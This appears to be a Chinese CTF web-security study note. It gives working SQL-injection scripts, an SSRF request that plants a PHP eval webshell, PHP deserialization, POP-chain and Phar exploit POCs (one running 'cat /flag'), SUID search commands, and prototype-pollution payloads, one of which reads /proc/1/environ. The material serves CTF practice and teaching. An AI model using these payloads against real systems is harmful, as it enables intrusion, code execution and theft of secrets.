#payload = "1' uNion Select ((sElect gRoUp_cOnCat(column_name) From infOrmation_schema.columns WHeRe Table_name='here_is_flag')),2,3,4,5%23"
payload = "1' uNion Select ((sElect gRoUp_cOnCat(flag) From here_is_flag)),2,3,4,5%23"
res = requests.get(url + payload)
print(res.text)

(2)时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
url = 'http://eci-2ze6irbn0iiiic2wnub2.cloudeci1.ichunqiu.com/index.html'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
#把payload里password换成username打username
datas = {
"username":"1",
"password": payload
}
# print(datas)
start_time=time.time()
res = requests.post(url=url,data=datas) #json=data
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=0.4: #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))

(3)布尔盲注

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World)

XXS

(1)存储型

(2)反射型

(3)DOM型

XXE和SSRF

主要是提一下原理和模板

SSRF

[BUUCTF在线评测](https://buuoj.cn/challenges#[HITCON 2017]SSRFme)

1
2
3
4
5
http://c9f6fe87-ec4b-42d3-9b16-a372427cc0a0.node5.buuoj.cn:81/?url=data:text/plain,%27%3C?php%20@eval($_POST[%27capt%27])?%3E%27&filename=upload/test.php


http://c9f6fe87-ec4b-42d3-9b16-a372427cc0a0.node5.buuoj.cn:81/sandbox/50d5f583d8a911dde39156ba3f03c3d5/upload/test.php

蚁剑连接即可

目录穿越

主要是../../,但包含php和python的目录穿越

反序列化

(1)一些函数

__call()

调用一个不存在的方法时,会触发 __call() 魔法方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Example
{
public function __call($name, $arguments)
{
echo "你调用了不存在的方法: $name\n";
echo "传递的参数是: " . implode(', ', $arguments) . "\n";
}
}

$obj = new Example();
$obj->someNonExistentMethod('参数1', '参数2');


#你调用了不存在的方法: someNonExistentMethod
#传递的参数是: 参数1, 参数2

假设我们有一个类 Example,其中定义了 __call() 方法,没有定义 someNonExistentMethod(),直接调用 someNonExistentMethod() 就会触发 __call()

(2)php一般反序列化

攻防世界 Web_php_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

(3)php-Pop链

ISCC2025区域赛 想犯大吴疆土吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
// 犯flag.php疆⼟者,盛必击⽽破之!
class GuDingDao {
public $desheng;
public function __construct() {
$this->desheng = array();
}
public function __get($yishi) {
$dingjv = $this->desheng;
$dingjv();
return "下次沙场相⻅, 徐某定不留情";
}
}
class TieSuoLianHuan {
protected $yicheng;
public function append($pojun) {
include($pojun);
}
public function __invoke() {
$this->append($this->yicheng);
}
}
class Jie_Xusheng {
public $sha;
public $jiu;
public function __construct($secret = 'reward.php') {
$this->sha = $secret;
}
public function __toString() {
return $this->jiu->sha;
}

public function __wakeup() {
if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha))
{
echo "你休想偷看吴国机密";
$this->sha = "reward.php";
}
}
}
echo '你什么都没看到?那说明……有东西你没看到<br>';
if (isset($_GET['xusheng'])) {
@unserialize($_GET['xusheng']);
} else {
$a = new Jie_Xusheng;
highlight_file(__FILE__);
}
// 铸下这铁链,江东天险牢不可破!

构造Payload

  1. 设置 TieSuoLianHuanyichengphp://filter/convert.base64-

encode/resource=flag.php (需URL编码)

  1. TieSuoLianHuan 实例赋值给 GuDingDaodesheng
  2. GuDingDao 实例赋值给 Jie_Xusheng (B) 的 jiu 属性
  3. Jie_Xusheng (B) 作为 Jie_Xusheng (A) 的 sha 属性
  4. 序列化对象A,确保属性命名和类名正确。

[LitCTF 2025]君の名は | NSSCTF

1
2
3
4
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}

$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a -> musubi = $b;
$b -> thread = $c;
$c -> soul = $a; //调用不存在的$a->flag($c->kuchikamizake, $c->name),触发call

$d = array("PusTR"=>$a);
$e = new ArrayObject($d);

echo urlencode(serialize($e));


?>

#当 $a->musubi() 被调用时,实际上是在调用 $b,因为 $a->musubi 被设置为 $b
#$b 是一个 Mitsuha 类的实例,Mitsuha 类有一个 __invoke() 方法,因此 $b 可以像函数一样被调用
#$b->__invoke() 返回 $b->memory.$b->thread
#$b->thread 是 $c,因此 $b->__invoke() 返回 $b->memory.$c
#$c被当作字符串调用(拼接),触发__toString()




#Litctf2025=C%3A11%3A%22ArrayObject%22%3A245%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A5%3A%22PusTR%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

(4)Phar反序列化

[文件上传与Phar反序列化的摩擦_nssround#4 swpu]1zweb(revenge)-CSDN博客

php -d phar.readonly=0 class5.php(核心出装)

1.ezphar

1

2.bypass

[NSSRound#4 SWPU]1zweb | NSSCTF

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class LoveNss{
public $ljt="Misc";
public $dky="Re";
public $cmd="system('cat /flag');";
}

$a = new LoveNss();

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //自定义的meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算,默认是SHA1
$phar->stopBuffering();
?>

修复签名:(修改了类型数量)

1
2
3
4
5
6
7
8
from hashlib import sha256
with open('phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

kali自带gzip压缩后更改为白名单后缀上传

访问phar://upload/3.png

(4)Pickle反序列化

反弹shell

主要介绍bash的反弹

SUID提权

1
2
3
find /-user root -perm-4000 -print 2>/dev/null
find /-perm -u=s -type f 2>/dev/null
find /-user root -perm -4000 -exec ls -ldb {}\;

什么是SUID?

Linux下文件权限分为 r4 w2 x1分别对应可读,可写,可执行

  • 当 SUID 位被设置在一个可执行文件上时,该文件在执行期间,进程的有效用户 ID(EUID)会被设置为该文件所有者的用户 ID。例如,一个属于 root 用户的文件,如果设置了 SUID 位,当普通用户执行这个文件时,这个执行进程的 EUID 就是 root
  • 有效用户 ID 决定了进程在执行过程中对系统资源访问的权限。这就意味着,如果一个程序需要更高权限(通常是 root 权限)才能完成某些特定的操作,通过设置 SUID 位,普通用户在运行这个程序时也能临时获得该程序所有者的权限来执行这些操作

root权限一般是3位,就比如说是什么644(所属者-所属组-other)

而sudo的权限可以是4位比如7644

然后就是SUID文件只作用于二进制文件

XSleaks

简介+原理(利用条件)+例题

原型链污染

原理

xz.aliyun.com/news/12518

Python原型链污染从基础到深入 - Rycarls little blog

Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园

js原型污染 · zIxyd’s Blog

JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户

Python JavaScript

Python原型链污染

1

JavaScript原型链污染

__proto__ 是 JavaScript 中一个对象属性,用于访问该对象的原型对象

__proto__ 可以用于手动改变对象的原型,例如,当你想让一个已有的对象继承另一个对象的属性和方法时,可以使用它来改变原型

例题

NCTF2025 ea_dash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

Mini L-CTF 2025 - 西电 CTF 终端 Clickclick

源码拉到最下面可以看到:

1
2
3
4
5
6
7
8
Qt(o, i => {
w(e) >= 1e3 && i(l)
}

h.textContent = `
if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }
`,

就能知道10000次以后会输出textContent的内容(实在不行也可以直接丢个AI的,试过是可以分析出来10000次后面输出这个的)

然后看到:

1
2
3
4
5
6
7
8
9
10
11
12
function wn(t, e) {
ce(e, !1);
const r = "/update-amount";
let n = Wr(e, "count", 12);
Jr();
var s = mn();
s.__click = [yn, n, r];
var o = Pt(s);
Tr( () => $r(o, `count is ${n() ?? ""}`)),
ct(t, s),
he()
}

这里每点击50次会向/update-amount发一次包,更新后端数据,而且这里更新不是add而是set,又结合 if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount },可以看到amount一开始就是0或者是已经被删除了,而且这个路径看起来很像原型链污染,那么想要改变他的值可以尝试污染amount的值,让他变成10000

那么怎么知道原链呢,看看事件监听器那边的click

1
2
3
4
5
6
7
8
9
{
"type":"set",
"point": {
"__proto__": {
"amount": "10000"
}
}
}

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]OtenkiGirl) OtenkiGirl

1
2
3
4
5
6
7
{  
"contact": "test",
"reason": "test",
"__proto__": {
"min_public_time": "1001-01-01"
}
}

[LitCTF 2025]多重宇宙日记 | NSSCTF

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<script>
// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';

const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段

try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});

// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}
</script>

提示键值在setting下,又需要管理员权限,所以payload:

1
{"settings": {"isAdmin": true}}

[BUUCTF在线评测](https://buuoj.cn/challenges#[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask) EzFlask

开头直接给源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

看到这一段:

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

很明显的python的原型链污染

payload:

1
{"username":"123","password":"123","\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{"__globals__":{"__file__":"../../../proc/1/environ"}}}

(其中__init__用unicode编码了一下,其实你也可以将其他的也编码)

在注册页面污染后,GET访问首页就可以了

Python代码审计综合

主要配合例题讲解(每道例题会综合一下上面部分知识点)

[BUUCTF在线评测](https://buuoj.cn/challenges#[watevrCTF-2019]Pickle Store) Pickle store